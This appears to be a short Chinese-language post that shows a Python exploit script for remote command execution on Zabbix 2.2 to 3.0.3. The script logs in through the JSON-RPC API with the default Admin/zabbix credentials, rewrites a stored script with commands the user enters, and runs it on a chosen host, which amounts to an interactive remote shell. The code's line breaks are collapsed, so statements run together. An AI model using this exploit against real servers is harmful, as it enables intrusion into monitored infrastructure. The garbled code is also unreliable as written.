Zabbix RCE with API JSON-RPC

测试脚本:

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3import requests
import json
import sysdef verify(url,hostid):url = url + '/api_jsonrpc.php'    ### Don't edit
login = 'Admin'        ### Zabbix loginpassword = 'zabbix'    ### Zabbix password### authpayload = {"jsonrpc" : "2.0","method" : "user.login","params": {'user': ""+login+"",'password': ""+password+"",},"auth" : None,"id" : 0,}headers = {'content-type': 'application/json',}auth  = requests.post(url, data=json.dumps(payload), headers=(headers))auth = auth.json()while True:cmd = raw_input(':~  ')if cmd == "" : print "Result of last command:"if cmd == "quit" : break### updatepayload = {"jsonrpc": "2.0","method": "script.update","params": {"scriptid": "1","command": ""+cmd+""},"auth" : auth['result'],"id" : 0,}cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))### executepayload = {"jsonrpc": "2.0","method": "script.execute","params": {"scriptid": "1","hostid": ""+hostid+""},"auth" : auth['result'],"id" : 0,}cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))cmd_exe = cmd_exe.json()print cmd_exe["result"]["value"]if __name__ == '__main__':url = sys.argv[1]hostid = sys.argv[2]verify(url,hostid)

测试截图: